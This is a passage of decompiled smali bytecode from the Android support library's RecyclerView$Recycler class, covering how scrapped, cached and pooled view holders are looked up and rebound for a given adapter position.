:goto_1 :cond_4 if-nez p4, :cond_5 invoke-virtual {p0, v1}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleCachedViewAt(I)V :cond_5 add-int/lit8 v0, v1, -0x1 move v1, v0 goto :goto_2 :cond_6 const/4 v0, 0x0 goto :goto_1 .end method .method final getScrapViewForPosition(IIZ)Landroid/support/v7/widget/RecyclerView$ViewHolder; .locals 6 const/4 v1, 0x0 const/4 v5, -0x1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v3 move v2, v1 :goto_0 if-ge v2, v3, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->wasReturnedFromScrap()Z move-result v4 if-nez v4, :cond_4 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getLayoutPosition()I move-result v4 if-ne v4, p1, :cond_4 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isInvalid()Z move-result v4 if-nez v4, :cond_4 iget-object v4, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v4, v4, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; # getter for: Landroid/support/v7/widget/RecyclerView$State;->mInPreLayout:Z invoke-static {v4}, Landroid/support/v7/widget/RecyclerView$State;->access$2200(Landroid/support/v7/widget/RecyclerView$State;)Z move-result v4 if-nez v4, :cond_0 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isRemoved()Z move-result v4 if-nez v4, :cond_4 :cond_0 if-eq p2, v5, :cond_2 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getItemViewType()I move-result v2 if-eq v2, p2, :cond_2 new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string/jumbo v3, "Scrap view for position " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v2 const-string/jumbo v3, " isn\'t dirty but has" invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 const-string/jumbo v3, " wrong view type! (found " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getItemViewType()I move-result v0 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v0 const-string/jumbo v2, " but expected " invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v0 const-string/jumbo v2, ")" invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; :cond_1 if-nez p3, :cond_6 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mChildHelper:Landroid/support/v7/widget/ChildHelper; invoke-virtual {v0, p1, p2}, Landroid/support/v7/widget/ChildHelper;->findHiddenNonRemovedView(II)Landroid/view/View; move-result-object v2 if-eqz v2, :cond_6 invoke-static {v2}, Landroid/support/v7/widget/RecyclerView;->getChildViewHolderInt(Landroid/view/View;)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v0 iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v1, v1, Landroid/support/v7/widget/RecyclerView;->mChildHelper:Landroid/support/v7/widget/ChildHelper; invoke-virtual {v1, v2}, Landroid/support/v7/widget/ChildHelper;->unhide(Landroid/view/View;)V iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v1, v1, Landroid/support/v7/widget/RecyclerView;->mChildHelper:Landroid/support/v7/widget/ChildHelper; invoke-virtual {v1, v2}, Landroid/support/v7/widget/ChildHelper;->indexOfChild(Landroid/view/View;)I move-result v1 if-ne v1, v5, :cond_5 new-instance v1, Ljava/lang/IllegalStateException; new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string/jumbo v3, "layout index should not be -1 after unhiding a view:" invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 invoke-direct {v1, v0}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V throw v1 :cond_2 const/16 v1, 0x20 invoke-virtual {v0, v1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addFlags(I)V :cond_3 :goto_1 return-object v0 :cond_4 add-int/lit8 v0, v2, 0x1 move v2, v0 goto/16 :goto_0 :cond_5 iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v3, v3, Landroid/support/v7/widget/RecyclerView;->mChildHelper:Landroid/support/v7/widget/ChildHelper; invoke-virtual {v3, v1}, Landroid/support/v7/widget/ChildHelper;->detachViewFromParent(I)V invoke-virtual {p0, v2}, Landroid/support/v7/widget/RecyclerView$Recycler;->scrapView(Landroid/view/View;)V const/16 v1, 0x2020 invoke-virtual {v0, v1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addFlags(I)V goto :goto_1 :cond_6 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v2 :goto_2 if-ge v1, v2, :cond_8 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isInvalid()Z move-result v3 if-nez v3, :cond_7 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getLayoutPosition()I move-result v3 if-ne v3, p1, :cond_7 if-nez p3, :cond_3 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v2, v1}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object; goto :goto_1 :cond_7 add-int/lit8 v0, v1, 0x1 move v1, v0 goto :goto_2 :cond_8 const/4 v0, 0x0 goto :goto_1 .end method .method public final getViewForPosition(I)Landroid/view/View; .locals 1 const/4 v0, 0x0 invoke-virtual {p0, p1, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->getViewForPosition(IZ)Landroid/view/View; move-result-object v0 return-object v0 .end method .method final getViewForPosition(IZ)Landroid/view/View; .locals 10 const/4 v3, 0x0 const/16 v8, 0x2000 const/4 v1, 0x1 const/4 v2, 0x0 if-ltz p1, :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$State;->getItemCount()I move-result v0 if-lt p1, v0, :cond_1 :cond_0 new-instance v0, Ljava/lang/IndexOutOfBoundsException; new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V const-string/jumbo v2, "Invalid item position " invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v1 const-string/jumbo v2, "(" invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v1 const-string/jumbo v2, "). Item count:" invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v2, v2, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v2}, Landroid/support/v7/widget/RecyclerView$State;->getItemCount()I move-result v2 invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v1 invoke-direct {v0, v1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V throw v0 :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$State;->isPreLayout()Z move-result v0 if-eqz v0, :cond_17 invoke-virtual {p0, p1}, Landroid/support/v7/widget/RecyclerView$Recycler;->getChangedScrapViewForPosition(I)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v4 if-eqz v4, :cond_5 move v0, v1 :goto_0 move-object v9, v4 move v4, v0 move-object v0, v9 :goto_1 if-nez v0, :cond_16 const/4 v0, -0x1 invoke-virtual {p0, p1, v0, p2}, Landroid/support/v7/widget/RecyclerView$Recycler;->getScrapViewForPosition(IIZ)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v0 if-eqz v0, :cond_16 invoke-virtual {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->validateViewHolderForOffsetPosition(Landroid/support/v7/widget/RecyclerView$ViewHolder;)Z move-result v5 if-nez v5, :cond_7 if-nez p2, :cond_3 const/4 v5, 0x4 invoke-virtual {v0, v5}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addFlags(I)V invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isScrap()Z move-result v5 if-eqz v5, :cond_6 iget-object v5, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v6, v0, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v5, v6, v2}, Landroid/support/v7/widget/RecyclerView;->removeDetachedView(Landroid/view/View;Z)V invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->unScrap()V :cond_2 :goto_2 invoke-virtual {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleViewHolderInternal(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V :cond_3 move-object v0, v3 move v3, v4 :goto_3 if-nez v0, :cond_15 iget-object v4, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v4, v4, Landroid/support/v7/widget/RecyclerView;->mAdapterHelper:Landroid/support/v7/widget/AdapterHelper; invoke-virtual {v4, p1}, Landroid/support/v7/widget/AdapterHelper;->findPositionOffset(I)I move-result v4 if-ltz v4, :cond_4 iget-object v5, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v5}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v5 invoke-virtual {v5}, Landroid/support/v7/widget/RecyclerView$Adapter;->getItemCount()I move-result v5 if-lt v4, v5, :cond_8 :cond_4 new-instance v0, Ljava/lang/IndexOutOfBoundsException; new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V const-string/jumbo v2, "Inconsistency detected. Invalid item position " invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v1 const-string/jumbo v2, "(offset:" invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v1 const-string/jumbo v2, ")." invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 const-string/jumbo v2, "state:" invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v2, v2, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v2}, Landroid/support/v7/widget/RecyclerView$State;->getItemCount()I move-result v2 invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v1 invoke-direct {v0, v1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V throw v0 :cond_5 move v0, v2 goto/16 :goto_0 :cond_6 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->wasReturnedFromScrap()Z move-result v5 if-eqz v5, :cond_2 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->clearReturnedFromScrapFlag()V goto :goto_2 :cond_7 move v3, v1 goto :goto_3 :cond_8 iget-object v5, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v5}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v5 invoke-virtual {v5, v4}, Landroid/support/v7/widget/RecyclerView$Adapter;->getItemViewType(I)I move-result v5 iget-object v6, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v6}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v6 invoke-virtual {v6}, Landroid/support/v7/widget/RecyclerView$Adapter;->hasStableIds()Z move-result v6 if-eqz v6, :cond_9 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v0}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v0 invoke-virtual {v0, v4}, Landroid/support/v7/widget/RecyclerView$Adapter;->getItemId(I)J move-result-wide v6 invoke-virtual {p0, v6, v7, v5, p2}, Landroid/support/v7/widget/RecyclerView$Recycler;->getScrapViewForId(JIZ)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v0 if-eqz v0, :cond_9 iput v4, v0, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPosition:I move v3, v1 :cond_9 if-nez v0, :cond_b iget-object v4, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mViewCacheExtension:Landroid/support/v7/widget/RecyclerView$ViewCacheExtension; if-eqz v4, :cond_b iget-object v4, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mViewCacheExtension:Landroid/support/v7/widget/RecyclerView$ViewCacheExtension; invoke-virtual {v4, p0, p1, v5}, Landroid/support/v7/widget/RecyclerView$ViewCacheExtension;->getViewForPositionAndType(Landroid/support/v7/widget/RecyclerView$Recycler;II)Landroid/view/View; move-result-object v4 if-eqz v4, :cond_b iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-virtual {v0, v4}, Landroid/support/v7/widget/RecyclerView;->getChildViewHolder(Landroid/view/View;)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v0 if-nez v0, :cond_a new-instance v0, Ljava/lang/IllegalArgumentException; const-string/jumbo v1, "getViewForPositionAndType returned a view which does not have a ViewHolder" invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v0 :cond_a invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->shouldIgnore()Z move-result v4 if-eqz v4, :cond_b new-instance v0, Ljava/lang/IllegalArgumentException; const-string/jumbo v1, "getViewForPositionAndType returned a view that is ignored. You must call stopIgnoring before returning this view." invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v0 :cond_b if-nez v0, :cond_c invoke-virtual {p0}, Landroid/support/v7/widget/RecyclerView$Recycler;->getRecycledViewPool()Landroid/support/v7/widget/RecyclerView$RecycledViewPool; move-result-object v0 invoke-virtual {v0, v5}, Landroid/support/v7/widget/RecyclerView$RecycledViewPool;->getRecycledView(I)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v0 if-eqz v0, :cond_c invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->resetInternal()V # getter for: Landroid/support/v7/widget/RecyclerView;->FORCE_INVALIDATE_DISPLAY_LIST:Z invoke-static {}, Landroid/support/v7/widget/RecyclerView;->access$4400()Z move-result v4 if-eqz v4, :cond_c invoke-direct {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->invalidateDisplayListInt(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V :cond_c if-nez v0, :cond_15 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v0}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v0 iget-object v4, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-virtual {v0, v4, v5}, Landroid/support/v7/widget/RecyclerView$Adapter;->createViewHolder(Landroid/view/ViewGroup;I)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v0 move-object v4, v0 move v5, v3 :goto_4 if-eqz v5, :cond_d iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$State;->isPreLayout()Z move-result v0 if-nez v0, :cond_d invoke-virtual {v4, v8}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->hasAnyOfTheFlags(I)Z move-result v0 if-eqz v0, :cond_d invoke-virtual {v4, v2, v8}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->setFlags(II)V iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; # getter for: Landroid/support/v7/widget/RecyclerView$State;->mRunSimpleAnimations:Z invoke-static {v0}, Landroid/support/v7/widget/RecyclerView$State;->access$2300(Landroid/support/v7/widget/RecyclerView$State;)Z move-result v0 if-eqz v0, :cond_d invoke-static {v4}, Landroid/support/v7/widget/RecyclerView$ItemAnimator;->buildAdapterChangeFlagsForAnimations(Landroid/support/v7/widget/RecyclerView$ViewHolder;)I move-result v0 or-int/lit16 v0, v0, 0x1000 iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v3, v3, Landroid/support/v7/widget/RecyclerView;->mItemAnimator:Landroid/support/v7/widget/RecyclerView$ItemAnimator; iget-object v6, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v6, v6, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v4}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getUnmodifiedPayloads()Ljava/util/List; move-result-object v7 invoke-virtual {v3, v6, v4, v0, v7}, Landroid/support/v7/widget/RecyclerView$ItemAnimator;->recordPreLayoutInformation(Landroid/support/v7/widget/RecyclerView$State;Landroid/support/v7/widget/RecyclerView$ViewHolder;ILjava/util/List;)Landroid/support/v7/widget/RecyclerView$ItemAnimator$ItemHolderInfo; move-result-object v0 iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # invokes: Landroid/support/v7/widget/RecyclerView;->recordAnimationInfoIfBouncedHiddenView(Landroid/support/v7/widget/RecyclerView$ViewHolder;Landroid/support/v7/widget/RecyclerView$ItemAnimator$ItemHolderInfo;)V invoke-static {v3, v4, v0}, Landroid/support/v7/widget/RecyclerView;->access$4500(Landroid/support/v7/widget/RecyclerView;Landroid/support/v7/widget/RecyclerView$ViewHolder;Landroid/support/v7/widget/RecyclerView$ItemAnimator$ItemHolderInfo;)V :cond_d iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$State;->isPreLayout()Z move-result v0 if-eqz v0, :cond_e invoke-virtual {v4}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isBound()Z move-result v0 if-eqz v0, :cond_e iput p1, v4, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPreLayoutPosition:I move v3, v2 :goto_5 iget-object v0, v4, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v0}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams; move-result-object v0 if-nez v0, :cond_11 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView;->generateDefaultLayoutParams()Landroid/view/ViewGroup$LayoutParams; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$LayoutParams; iget-object v6, v4, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v6, v0}, Landroid/view/View;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V :goto_6 iput-object v4, v0, Landroid/support/v7/widget/RecyclerView$LayoutParams;->mViewHolder:Landroid/support/v7/widget/RecyclerView$ViewHolder; if-eqz v5, :cond_13 if-eqz v3, :cond_13 :goto_7 iput-boolean v1, v0, Landroid/support/v7/widget/RecyclerView$LayoutParams;->mPendingInvalidate:Z iget-object v0, v4, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; return-object v0 :cond_e invoke-virtual {v4}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isBound()Z move-result v0 if-eqz v0, :cond_f invoke-virtual {v4}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->needsUpdate()Z move-result v0 if-nez v0, :cond_f invoke-virtual {v4}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isInvalid()Z move-result v0 if-eqz v0, :cond_14 :cond_f iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mAdapterHelper:Landroid/support/v7/widget/AdapterHelper; invoke-virtual {v0, p1}, Landroid/support/v7/widget/AdapterHelper;->findPositionOffset(I)I move-result v0 iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iput-object v3, v4, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mOwnerRecyclerView:Landroid/support/v7/widget/RecyclerView; iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v3}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v3 invoke-virtual {v3, v4, v0}, Landroid/support/v7/widget/RecyclerView$Adapter;->bindViewHolder(Landroid/support/v7/widget/RecyclerView$ViewHolder;I)V iget-object v0, v4, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-direct {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->attachAccessibilityDelegate(Landroid/view/View;)V iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$State;->isPreLayout()Z move-result v0 if-eqz v0, :cond_10 iput p1, v4, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPreLayoutPosition:I :cond_10 move v3, v1 goto :goto_5 :cond_11 iget-object v6, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-virtual {v6, v0}, Landroid/support/v7/widget/RecyclerView;->checkLayoutParams(Landroid/view/ViewGroup$LayoutParams;)Z move-result v6 if-nez v6, :cond_12 iget-object v6, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-virtual {v6, v0}, Landroid/support/v7/widget/RecyclerView;->generateLayoutParams(Landroid/view/ViewGroup$LayoutParams;)Landroid/view/ViewGroup$LayoutParams; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$LayoutParams; iget-object v6, v4, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v6, v0}, Landroid/view/View;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V goto :goto_6 :cond_12 check-cast v0, Landroid/support/v7/widget/RecyclerView$LayoutParams; goto :goto_6 :cond_13 move v1, v2 goto :goto_7 :cond_14 move v3, v2 goto :goto_5 :cond_15 move-object v4, v0 move v5, v3 goto/16 :goto_4 :cond_16 move v3, v4 goto/16 :goto_3 :cond_17 move-object v0, v3 move v4, v2 goto/16 :goto_1 .end method .method final markItemDecorInsetsDirty()V .locals 4 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v2 const/4 v0, 0x0 move v1, v0 :goto_0 if-ge v1, v2, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v0}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$LayoutParams; if-eqz v0, :cond_0 const/4 v3, 0x1 iput-boolean v3, v0, Landroid/support/v7/widget/RecyclerView$LayoutParams;->mInsetsDirty:Z :cond_0 